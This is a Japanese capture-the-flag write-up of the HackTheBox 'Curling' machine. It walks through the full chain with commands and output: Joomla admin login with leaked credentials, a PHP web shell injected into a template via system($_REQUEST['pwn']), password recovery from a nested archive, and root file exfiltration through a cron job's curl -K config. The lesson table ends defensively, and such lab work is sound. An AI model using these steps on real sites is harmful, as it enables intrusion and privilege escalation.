HackTheBox: Curling — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (Joomla)
→
22/ssh, 80/http (Joomla)
HTMLコメント /secret.txt
base64→Curling2018!
→
base64→Curling2018!
/administrator/ ログイン
floris:Curling2018!
→
floris:Curling2018!
Protostarテンプレ編集
system($_REQUEST[‘pwn’])注入
→
system($_REQUEST[‘pwn’])注入
www-data RCE
/index.php?pwn=
→
/index.php?pwn=
password_backup多重解凍
xxd→bzip2→gzip→bzip2→tar
→
xxd→bzip2→gzip→bzip2→tar
SSH floris
user.txt ✓
→
user.txt ✓
root cronのcurl -K悪用
file:// exfil
→
file:// exfil
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.220 nmap -sV -sC -p 22,80 10.129.84.220
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
80/tcp open http Apache httpd 2.4.29
サイト確認 — Joomla! の検出
BASH
curl -s http://10.129.84.220/
RESULT (抜粋)
<meta name="generator" content="Joomla! - Open Source Content Management" /> <title>Home</title> ... <span class="site-title" title="Cewl Curling site!">Cewl Curling site!</span>
ℹ️
generatorメタタグとフッターからJoomla! 3.8.8系であることが判明。
Joomlaはテンプレート編集機能(com_templates)を悪用したRCEの定番ターゲット。
PHASE 2
資格情報の発見 & 管理パネルへのログイン
/secret.txt の発見とデコード
BASH
# トップページのHTMLソースに "secret.txt" というコメントの手掛かりがある curl -s http://10.129.84.220/secret.txt
RESULT
Q3VybGluZzIwMTgh
BASH
echo "Q3VybGluZzIwMTgh" | base64 -d
RESULT
Curling2018!
Joomla管理パネル (/administrator/) へのログイン
BASH
# ログインフォームからCSRFトークン(32桁16進のhiddenフィールド名)を取得 curl -s -c cookies.txt http://10.129.84.220/administrator/index.php # フォーム内: <input type="hidden" name="<32hex>" value="1" /> curl -s -c cookies.txt -b cookies.txt -L \ http://10.129.84.220/administrator/index.php \ --data-urlencode "username=floris" \ --data-urlencode "passwd=Curling2018!" \ --data-urlencode "option=com_login" \ --data-urlencode "task=login" \ --data-urlencode "return=aW5kZXgucGhw" \ --data-urlencode "<取得したCSRFトークン名>=1"
RESULT
(リダイレクト後、管理パネルのControl Panel画面が返る → ログイン成功)
✅
認証成功: floris:Curling2018!。ユーザー名は投稿記事の著者名
(フロントページの記事に”Floris”というSuper Userが表示されている)から特定できる。
PHASE 3
Protostarテンプレート編集によるRCE → user.txt
テンプレート一覧 & 編集画面の取得
BASH
curl -s -b cookies.txt \ "http://10.129.84.220/administrator/index.php?option=com_templates&view=templates" # → Protostar テンプレートの id (通常 506) を確認 curl -s -b cookies.txt \ "http://10.129.84.220/administrator/index.php?option=com_templates&view=template&id=506&file=Ly9pbmRleC5waHA="
ℹ️
file=パラメータは編集したいファイルパス(ここでは//index.php、
先頭が2重スラッシュ)をbase64エンコードした値。echo -n '//index.php' | base64
で Ly9pbmRleC5waHA= が得られる。
index.php テンプレートソースに system() を注入
NOTE
# 編集画面から以下を抽出する: # - CSRFトークン: name="<32hex>" value="1" # - 現在のソース: <textarea name="jform[source]">...</textarea> (HTMLエンティティをデコード) # - jform[extension_id] の値 (隠しフィールド, 例:506) # - jform[filename] の値 (隠しフィールド, 例: "//index.php") # # ソース先頭の "<?php" の直後に1行追加する: # <?php # system($_REQUEST['pwn']); # (...以下、元のテンプレートソースをそのまま残す...)
BASH
curl -s -b cookies.txt -L \ "http://10.129.84.220/administrator/index.php?option=com_templates&task=template.apply&id=506&file=Ly9pbmRleC5waHA=" \ --data-urlencode "jform[source]=<?php system(\$_REQUEST['pwn']); (...元のソース全文...)" \ --data-urlencode "task=template.apply" \ --data-urlencode "jform[extension_id]=506" \ --data-urlencode "jform[filename]=//index.php" \ --data-urlencode "<CSRFトークン名>=1"
🚨
最大のハマりポイント:
jform[filename]に/index.php
(スラッシュ1個)を送ると、Joomlaのcom_templatesは
“Stored ID does not match the submitted one.”というエラーを返して保存を
無言で拒否する。編集画面を開いた時点のセッションに記録された
extension_id+filenameの組合せと、保存時に送信する値が完全に一致している必要があるため、
編集画面の隠しフィールドに実際に入っている値(//index.php、先頭2重スラッシュ)を
そのまま再送しなければならない。レスポンスのHTTPステータスは200で返ってくるため、
一見成功したように見えてしまう点が特に厄介(エラーメッセージの文字列を明示的に確認する必要がある)。
RCE確認
BASH
curl -s -G "http://10.129.84.220/index.php" --data-urlencode "pwn=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<!DOCTYPE html>
... (以下、通常のJoomlaフロントページHTML) ...
✅
RCE成功! 保存したテンプレートがフロントページ(
/index.php)で
実際に使われているため、?pwn=<コマンド>を付けてアクセスするだけで、
ページ本文が始まる直前にsystem()の出力がそのまま出力される。
password_backup の取得 — xxdダンプの多重解凍
BASH
curl -s -G "http://10.129.84.220/index.php" \ --data-urlencode "pwn=cat /home/floris/password_backup"
RESULT (抜粋、xxd形式)
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` ...(中略)... 000000f0: 819b bb48 ...H <!DOCTYPE html> ... (以下、通常のJoomlaフロントページHTML、ここは無視する) ...
⚠️
2つ目のハマりポイント: レスポンスには、xxdダンプの直後に通常のJoomlaページ
本文(
<!DOCTYPE html>...)がそのまま続けて出力される。
「00000000:から最初の</タグまで」のような大雑把な切り出し方をすると、
<!DOCTYPE html>には閉じタグが無いため意図せず後続のHTML本文まで
切り出し範囲に混入してしまい、できあがるファイルが壊れて次のxxd -rが
失敗する。確実なのは、「8桁16進+コロンで始まる行」だけを行単位で抽出する方式
(grep -E '^[0-9a-f]{8}: 'のような行フィルタ)。
BASH
# xxd形式の行だけを抜き出してファイルへ保存
grep -E '^[0-9a-f]{8}: ' response.txt > password_backup
# xxd -r で元のバイナリへ戻し、bzip2 → gzip → bzip2 → tar を順に解凍
cat password_backup | xxd -r > bak
bzip2 -d -f bak # bak → bak.out (拡張子無しのため自動命名)
mv bak.out bak.gz
gzip -d -f bak.gz # bak.gz → bak
bzip2 -d -f bak # bak → bak.out
mv bak.out bak.tar
tar xf bak.tar # → password.txt が展開される
cat password.txt
RESULT
5d<wdCbdZu)|hChXll
✅
多重アーカイブの解凍成功!
xxdダンプ(テキスト) → 元バイナリ →
bzip2 → gzip → bzip2 → tar、という4段階のアーカイブ入れ子を順番に剥がすと、
最終的にpassword.txtにfloris用のSSHパスワードが現れる。
先頭バイト425a 6839(ASCIIで”BZh9″)がbzip2のマジックナンバーであることから
1段目のフォーマットが分かる。
SSHログイン & user.txt 取得
BASH
ssh floris@10.129.84.220 # パスワード: 5d<wdCbdZu)|hChXll floris@curling:~$ cat /home/floris/user.txt
RESULT
17148f4a80c98ea6aec68c0574ae2a23
user.txt — floris
17148f4a80c98ea6aec68c0574ae2a23
PHASE 4
root cron の curl -K 悪用 → root.txt
cron構成の調査
BASH
floris@curling:~$ ls -la /home/floris/admin-area/ floris@curling:~$ cat /etc/crontab 2>/dev/null floris@curling:~$ ls -la /var/spool/cron/crontabs/ 2>/dev/null
ℹ️
/home/floris/admin-area/配下にinput(floris所属グループが書込可能)
というファイルがあり、root権限のcronジョブが定期的に
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
を実行していることが分かる。もう1つの別cronがcat /root/default.txt > inputで
数秒おきにinputを初期状態へ上書きリセットしている。
curl -K (config file) オプションの悪用
NOTE
curlの -K オプションは「設定ファイル」からオプションを読み込む機能。 設定ファイル内に以下のように書くと、file:// スキームで任意のローカルファイルを "URL取得"対象にでき、その内容を -o で指定した出力ファイルへ書き出させられる。 url = "file:///root/root.txt" output = "/home/floris/admin-area/report" root権限で実行されるcronジョブがこの設定ファイル(input)を使ってcurlを 実行するため、root権限のcurlにroot.txtを読み取らせ、floris所有のreport ファイルへ出力させることができる。
リセットcronとの競合を連続書込で回避
BASH
# リセットcronが数秒おきにinputを初期化してしまうため、
# cronの実行周期に当たるまで短い間隔で繰り返し書き込み続ける
floris@curling:~$ for i in $(seq 1 40); do
printf 'url = "file:///root/root.txt"\noutput = "/home/floris/admin-area/report"\n' \
> /home/floris/admin-area/input
sleep 2
if grep -qxE '[0-9a-f]{32}' /home/floris/admin-area/report 2>/dev/null; then
break
fi
done
cat /home/floris/admin-area/report
RESULT
3a33b42ac51da59574ffb7fc9c3b2621
✅
権限昇格成功! root権限のcurlが
file:///root/root.txtを
“ダウンロード”し、floris所有のreportファイルへそのまま書き出した。
root.txt
3a33b42ac51da59574ffb7fc9c3b2621
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — floris
17148f4a80c98ea6aec68c0574ae2a23
root.txt
3a33b42ac51da59574ffb7fc9c3b2621
使用した脆弱性・設定不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| HTMLコメント経由の資格情報漏洩 | /secret.txt | Joomla管理者パスワードの漏洩 | Medium | base64エンコードされた平文パスワードを取得 |
| Joomlaテンプレート編集によるRCE | com_templates (Protostarテンプレート) | リモートコード実行 (www-data) | Critical | 管理者権限でテンプレートのPHPソースにsystem()を注入し、フロントエンド経由で任意コマンド実行 |
| 多段アーカイブ化されたパスワードバックアップ | /home/floris/password_backup | floris SSHパスワードの漏洩 | High | xxd→bzip2→gzip→bzip2→tarを順に解いてSSHパスワードを復元 |
| curl -K config fileのfile://悪用 | root cronジョブ (curl -K input -o report) | 権限昇格 (root) | Critical | floris書込可能な設定ファイルにfile:///root/root.txtを指定し、root権限curlに読取・出力させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 22/ssh, 80/http (Joomla! 3.8.8) |
| 2 | 資格情報 | /secret.txtのbase64デコード | floris:Curling2018! (管理パネル) |
| 3 | エクスプロイト | Protostarテンプレート編集でsystem()注入 | www-data RCE |
| 3 | 横移動 | password_backupの多段解凍 | floris:5d<wdCbdZu)|hChXll、user.txt取得 |
| 4 | 権限昇格 | root cronのcurl -K file://悪用 | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Webルート上に資格情報を含むファイル(secret.txt)が放置されている | 機密情報をWebルート配下に置かない。デプロイ用の一時ファイルは本番公開前に必ず削除する。 |
| CMS管理者アカウントがテンプレート編集権限を持ち、PHP実行が可能 | 最小権限の原則を適用し、管理者アカウントの権限を必要最小限に絞る。テンプレート編集機能自体をファイル整合性監視(FIM)で監視する。 |
| SSHパスワードが(多段アーカイブで隠しただけで)平文で保存されている | 難読化・多重圧縮は秘匿性の代替にならない。認証情報はシークレットマネージャ等で適切に管理する。 |
| 一般ユーザーが書込可能な設定ファイルをroot権限のcronがそのまま読み込んでいる | root権限で実行するジョブが参照する設定ファイルは、低権限ユーザーの書込権限を与えない(root:root 600等)。cronジョブの入力は信頼境界を越えないよう設計する。 |

